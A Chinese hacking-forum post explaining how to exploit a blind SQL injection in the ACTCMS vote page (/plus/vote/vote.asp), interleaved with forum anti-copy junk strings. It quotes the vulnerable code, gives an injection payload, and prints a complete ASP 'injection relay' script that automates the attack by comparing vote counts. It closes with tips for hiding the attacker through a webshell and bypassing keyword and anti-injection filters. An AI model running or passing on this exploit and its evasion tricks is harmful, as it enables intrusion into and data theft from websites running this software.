中国网络渗透测试联盟
标题:
注入中转的高级应用,actcms漏洞以及其他
[打印本页]
作者:
admin
时间:
2012-11-6 21:13
标题:
注入中转的高级应用,actcms漏洞以及其他
' u9 S) }8 `7 C" A% B! t
看到ninty大牛的blog的一篇文章
5 X. I" o: l, Z. o3 H. e6 f
链接标记[url]http://www.forjj.com/?action=show&id=80
[/url]
+ P5 k7 D. }8 I6 u
关于actcms漏洞的利用 by 3x qq:381862589
7 R- K9 D; N0 G8 q
转载请注明以上
1 ~! U6 p5 d" w& H8 M% b: [
漏洞文件:
* P7 D$ F1 R3 x( G3 J
/plus/vote/vote.asp
: x+ E: r' e. i/ U
代码:
链接标记预览源代码
链接标记打印
链接标记关于
1if request("voted").count=0 then
. L& ?9 F) p' ^- Z
% }! Z% ] f' C+ ~7 J
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
1 Y) b$ K1 A- h. t
" f% p4 v9 @' F+ ~# O
3 response.end
3 p- d8 i6 P, y2 {1 s
7 F3 S9 H; ?) a2 a, d) [
4 end if
3 D4 a7 l2 ]4 `* ^
, u o2 T/ }# m. q# \9 L
5 for i=1 to request("voted").count
9 N) X' P: u- D* R- P) \, o( `; K
7 ^( Z; T) s, \) U& K; F# w
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
7 s& ?$ H* F; `" o3 u% Z+ u
/ J" Z9 y9 A0 W* h f1 g
7 next
; r% i1 P% x( g! r7 j9 f
1 l5 W% K, y, x6 E+ f1 j+ K3 o
8....
5 g3 y1 i. B( l" M3 `
) `% t6 R% Y0 f* s
9response.Redirect "index.asp?id="&id&""
, K( H( L" i- [& h- k0 B' i
投票结束回跳转回index.asp这个投票结果页面
; o+ w! H l' }- K2 u' ?! C/ l
如果投票成功票数加1
; T9 w+ b4 b- R8 q$ |
失败票数不变
$ ` ~! w- M! I% s8 I1 S
如图:
& l$ i' r% P3 a. G+ }" W0 R
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg
链接标记下载
(3.95 KB)
2 k# T$ }& }- z$ V6 y5 ]9 Q s5 J
' N; k' \+ k; n: w- }+ ?& Z: W
2009-12-27 13:20
) G; V6 `. t- |# a( p: }/ q% ^
* z- y! e# q" c3 j5 Q6 S U5 y! v
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
! y9 | Y0 S9 \) @, d
- ^. ]* Z( ~! ^
本帖隐藏的内容需要回复才可以浏览
" _' Y) T; g" v. Y* Q' z" A
我们用注入中转来实现这个注入具体代码如下:
. t2 @5 K+ o2 J/ V G
先用寂寞的刺猬大牛的注入中转生成jmget.asp
: `5 z$ N* ?2 Y. j% c) R; ?; h
注入地址:http://localhost/actcms/plus/vote/vote.asp
2 U2 g( Z* h8 u! a
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
C1 ]% M& {: \$ w- K
' A9 O% o, n+ g3 v
然后进行修改变成如下代码:
链接标记预览源代码
链接标记打印
链接标记关于
01<%
) J& q- d. P+ v7 a" X
( k& F/ D6 l3 g, I8 Z# C
02JmdcwName=request("jmdcw")
$ b: G% ~7 S, u8 T- ^+ K: b
" L, E' o) I( R6 [
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
% P* t8 C* h, s; B: C
0 J9 N [- Y& [6 I4 f
04JmStr="id=1&voted=-1 or 1="&JmdcwName
8 k) f# G& j. s' R, W3 {
" D V. T; H7 I: W \4 Z
05JmStr=URLEncoding(JmStr)
2 R! D% W9 l0 f: s
: H5 |$ s) z3 q( C6 ~
06JMUrl="
链接标记http://localhost/actcms/plus/vote/vote.asp
"
6 m* U# @' @- f% ?3 G
( j3 Q+ t; `5 e0 ]
07testurl="
链接标记http://localhost/actcms/plus/vote/index.asp
"
" Y* K% ~& k6 p* B- ~# d
4 f5 H5 @% q" R
08testurl=testurl & "?" & JmStr
; F! T) ]" q$ e+ }7 R
. U- ?1 z! ^! v) ^! w
09JMUrl=JMUrl & "?" & JmStr
6 Q/ o5 T: m' F4 w3 u
" Z6 M2 L! u) X: ^1 |
10JmRef="
链接标记http://localhost/actcms/plus/vote/vote.asp
"
9 V) N% E/ {, g8 b& U
5 z i8 ^8 L9 e3 t1 Y" |
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
8 |6 n# I4 I$ M2 Q- ^
P" W o0 a5 n
12JmCok=replace(JmCok,chr(32),"%20")
8 K# u" D" b7 I3 L2 b+ n6 z, p
! ?% q2 N! N9 v
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
+ Z7 g y. Z2 w6 f! i) r
! o; G; E; D8 ^+ s1 {# W
14
* z9 u' h. m2 ]
7 g: \- o# D& I4 e6 B
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
& M% _% V- m6 W6 S$ w
2 J3 ?( d0 A* n9 h
16
2 T! m- G7 R7 Y; A. l
# I2 T C4 \+ C9 x9 Y" }! N
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
: }! m8 y) `% C) d8 w" t
$ S6 L3 l2 ~1 g8 |' l% E8 ]
18response.write test1&""&test2&""
5 W d3 ~0 B# _4 ?# e9 ^
) R1 @9 b6 H) s( [0 B6 [& u, l; c& k
19
8 } z3 `7 c: R# ?
! |" m4 [, S% f# M7 y* q
20if test1=test2 then '如前后记录相等,表示失败
# p9 P( B! B8 c$ ~: t. q
1 x8 S! P$ I* q4 Z( R
21 response.write "failed"
$ ?% v/ `/ z5 F- |- V
7 i; D `: W2 a$ ^. b' k" x( H& r
22else
' L* K: S- C: R5 K: i. y
' M8 g Q& I3 _5 K7 @* L
23 response.write "succeed"
, u- r5 E3 Y+ z0 m( j/ b6 M9 C
) C8 X( }$ N6 \8 G$ O7 D
24end if
5 ]$ E: x5 Y) b3 w
; i6 Z( C: k* b
25
, x8 L0 N. o$ i# T& c1 [
& O- `6 T2 }/ x4 T9 i/ s
26response.write "by 3x"
5 Y; [" x' X) P% t6 K9 @+ E
j; f! B1 `1 x+ m3 I+ b. z
27
) }) c. Q, n/ c3 |3 H: K
5 ]% q$ S1 F: Z2 F. T
28
% x( J! g, d- Q, b0 G" Q
: b& p$ f9 S4 k( b' k9 c1 T; ?. u
29Function PostData(PostUrl,PostStr,PostCok,PostRef)
8 n* w' o: A' ]
. j# b& w h, _% J
30Dim Http
5 ?& u5 T# u& ~9 p
# f; g- S; X8 f( |5 b
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
) @" C$ |1 n. [* g: o E9 H
, U& K# f0 o: P- |
32With Http
: e; u4 l/ u' q4 ?9 [
; ?; ]. `3 F6 ]
33
" g0 |- B, i2 Q& A" K9 K& T d
3 [7 D: Y# ^5 C- c' m7 ^/ K
34.Open "GET",PostUrl,False
6 r; d/ O( `2 h
( _: B+ Q$ L4 f! a6 H E1 M* P
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
2 W `5 D" O! J$ `' F
0 _$ B+ H8 Q' d
36.SetRequestHeader "Referer",PostRef
6 }6 j! G8 T6 @) ^2 P, C# L7 r3 S
! H& h9 e) Z5 V# e7 e# s
37.SetRequestHeader "Cookie",PostCok
. |5 `& p6 D. W" F
4 _# g1 m7 k: p& K
38.Send ()
5 v r. P& X4 C! }
& v( P4 ~& n3 a3 J& l
39PostData = .ResponseBody
5 g& m& [" L+ b3 j
' S* T7 t/ c% `+ `! k
40End With
! d$ C4 r& v. P- p
0 q. i$ m; A- y
41Set Http = Nothing
. {, F: [( o* E6 ]9 E
* S, B* j/ C. y
42PostData =bytes2BSTR(PostData)
) s8 s+ x( \! X/ F
% @" H! h8 ~3 P! `, Q
43End Function
* X5 d/ \* p+ [( L; M* M' p
) I/ p, S: v. H) r; w$ @* s
44
7 Q% V" @. G& @
c* c/ S+ a! Z5 J9 \& F- q
45
+ @1 b5 t# T+ ^: d& H
9 O$ J$ T' [) k& T: l
46Function bytes2BSTR(vIn)
% w7 P5 ]! W4 \ u$ L& R
+ k1 k# Z9 ^, Q; x n) C1 Q
47Dim strReturn
/ w; h C4 d8 g ?7 P
1 U* [' O8 e) B. g. {6 x9 K
48Dim I, ThisCharCode, NextCharCode
4 r4 W& i; R( C/ n, ^3 e
9 ?' D: o; }' C4 [
49strReturn = ""
! P& V( A, C" i: L8 E
4 A5 x* t5 s+ }! g: p. x6 h3 C
50For I = 1 To LenB(vIn)
" o0 ^4 P4 M% Q% P" u
. Y% C- |8 }2 }4 ?. r
51ThisCharCode = AscB(MidB(vIn, I, 1))
7 R7 Z4 `6 U# a1 g7 X2 D
! W- P; ]* r* ]
52If ThisCharCode < &H80 Then
' S, ]0 G$ z8 c" E% E
& ^9 E) _. O4 M. w7 `
53strReturn = strReturn & Chr(ThisCharCode)
- J9 c( j. P" ]2 ~/ A0 s' T3 T
9 l- F. |0 q+ f$ P
54Else
* a' K/ M! h& \' m0 g0 a
3 m) c2 L5 r$ {% ?6 ]- e
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
+ k. \+ }0 |6 S6 p
+ y x; Q; F9 ?. ?* S- [
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
' u8 E% k: G' M/ W
2 _1 z% | T+ j! w& S$ M; j7 B
57I = I + 1
2 u7 v' @8 p/ Y, o) D
1 P$ l( x4 ~: I
58End If
% q6 O* x( [4 H) _/ U. O
6 E' R# Q, }) A
59Next
) c' i, n% X2 o U5 U; S+ J3 l* Z
3 a. q% ~2 Z1 }: A; A. I
60bytes2BSTR = strReturn
# Z- S) P1 k3 |6 K7 V8 ?
, z# v3 f0 j W- Y, J0 q
61End Function
' s+ ~9 O6 p2 G3 g9 b# ]# }
6 B8 F+ U; x+ S5 w
62
) v6 T- t3 N" C3 _- U
s2 J9 n+ W# g+ P
63Function URLEncoding(vstrin)
8 `9 z# V1 Z( ? J
X4 D" D/ u: _, |
64strReturn=""
7 e: H! C) x. q" t$ x/ S% P" t
# M& a* z) y. n0 n% ]
65Dim i
) E" W' i* o F u' p+ c6 T
7 L- e" Z3 n1 [$ D
66For i=1 To Len(vstrin)
, e( f# H O: ~9 k+ _6 @
/ q( Y# J8 w0 K Q" [" m9 ]
67ThisChr=Mid(vstrin,i,1)
& H k* r4 U }% U
/ q" R0 S. X) P) @5 K; ?: ?
68if Abs(Asc(ThisChr))< &HFF Then
0 A- d% B" R$ [7 ~$ x, a, A2 t
9 @$ R# t" f$ Q" X, V+ W* h
69strReturn=strReturn & ThisChr
# E. _, x1 ^3 V+ ?1 j
2 a( P0 {; a) e* R1 F
70Else
$ X; {0 `6 I- X7 \0 n$ |/ P) T
* r( S0 o5 n) a- G# h8 [' z
71InnerCode=Asc(ThisChr)
( d7 W6 C; w, ~; h$ c- }% P# d
. u$ n; s b# i7 N6 B i! m7 T( t
72If InnerCode<0 Then
Q6 M1 v' q7 G! A4 I
( `( i2 K% l F8 q6 z- {+ j- y i
73InnerCode=InnerCode + &H10000
3 s [$ f1 F: A. ~9 `
! Y* R$ p! m7 Q% M
74End If
\9 t* g9 _$ g, ~; P: c: d, N' A
4 `* D% p- C; v5 A5 M9 ]
75Hight1=(InnerCode And &HFF00) \&HFF
) x# G! Z0 i5 {( F
- {. y: L# L! ~+ G4 |/ T
76Low1=InnerCode And &HFF
* U* M% U3 @# r: y
# U& b) v: q& i9 ]$ O6 f X0 P' Z# ^
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
% a$ p ?5 K7 Y$ N8 ?! N
1 `/ f0 _4 @ Q1 B+ Q' B/ E
78End if
1 `* U4 i: ^, x" ], B
7 S8 j/ ?4 X8 M, v( R- x: K
79Next
2 ]6 ?* c: F+ U* m5 ]8 y
. s, b' a0 m% _1 c; I
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
0 Y2 h2 J8 J4 c* N5 ]4 t
- l2 `5 i2 D2 w% q: |/ ?4 g+ e
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
. _4 h F! Z7 T
. [( F6 Q; N! {, G: z4 C
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
0 T4 D& M6 g2 a/ k/ |8 ~+ T U
0 p7 u8 X1 ^# Z; L- q
83URLEncoding=strReturn
3 ~) }2 L @) R! U1 S
7 b- e* f: l& H3 m ?! V# U
84End Function
( _$ T0 |5 _" q( Z$ P8 X$ ]
H8 Z$ ]) v& I1 e' A$ v; _
85
+ Y/ C$ L- ^; y# n. z( ]3 @
- y8 `6 X/ p3 O. i4 m7 ]
86function getSt(body)
& L, m( J# V7 P0 n" d) Q ^! |
+ C# F8 u. `- ]' H1 t
87 startpot=instr(body,"投票人数:")+len("投票人数:")
( t) F7 [) u9 Z/ _. F
. i7 y; v, \4 b
88 endpot=instr(startpot,body," ")
) u& W* d2 h4 h2 t# f# v
% H0 Q: \0 l% s6 \
89 getSt=mid(body,startpot,endpot-startpot)
" T: u1 U1 D H: y3 I+ a5 Y
7 G$ Y! `" F% t' i# N" J8 n) {
90end function
2 h' b9 \; P+ y
& F: s! t3 o M( u# r
91%>
; j! d2 U* M8 |* i/ s
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
# b$ ~6 M) |/ l" q/ i
测试下效果:
5 f. w4 k8 B0 T6 F$ H
投票成功:
: J. E) M% q; g& w; j2 b$ d1 S
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg
链接标记下载
(15.4 KB)
- O- {; r( u2 E# {2 _( l9 j
4 N: j9 X- o7 p8 ?. b& U) n" p& L
2009-12-27 13:29
" }$ v9 F7 J( u- f
投票失败
* d3 x; o5 w% R3 D7 A" v
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg
链接标记下载
(13.72 KB)
8 ?, Q- K5 M5 z* |. p; k4 {( Y6 a
9 x* Q3 @4 E0 A0 h7 ~/ t% `
2009-12-27 13:29
$ x( ]( g/ F9 ?8 X* I6 Y" @
-------------------------------------------------------------------------------
0 Z7 E% `8 Y& ~8 `) p9 t: q* H
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
: K6 M K. u7 m
很抱歉。。。只能用单线程工具去注入。。。。。
& ?$ H9 c: \& f `% Z
所以失败。。。不好意思。。。
T$ ]) ?+ s4 U! m: L$ @* q
-------------------------------------------------------------------------------
) B& ^' h N4 b7 ~* }% N
) C. Y+ L" o6 N1 S( Q" K& F
注入中转的一些其他应用
' C s v( [ R
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
- U! D. A1 j9 p
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
- P' \' J* Z7 j9 {
2.post注入转成get型的注入,方便我们使用工具来跑
" T2 p. e' a \# |" Y& \: I
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
5 ]0 |* T$ O6 d! Z& b+ Z7 r
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
; d0 C6 W, f5 N0 s/ N
k- Z' J/ ^. @
欢迎光临 中国网络渗透测试联盟 (http://www.cobjon.com/)
Powered by Discuz! X3.2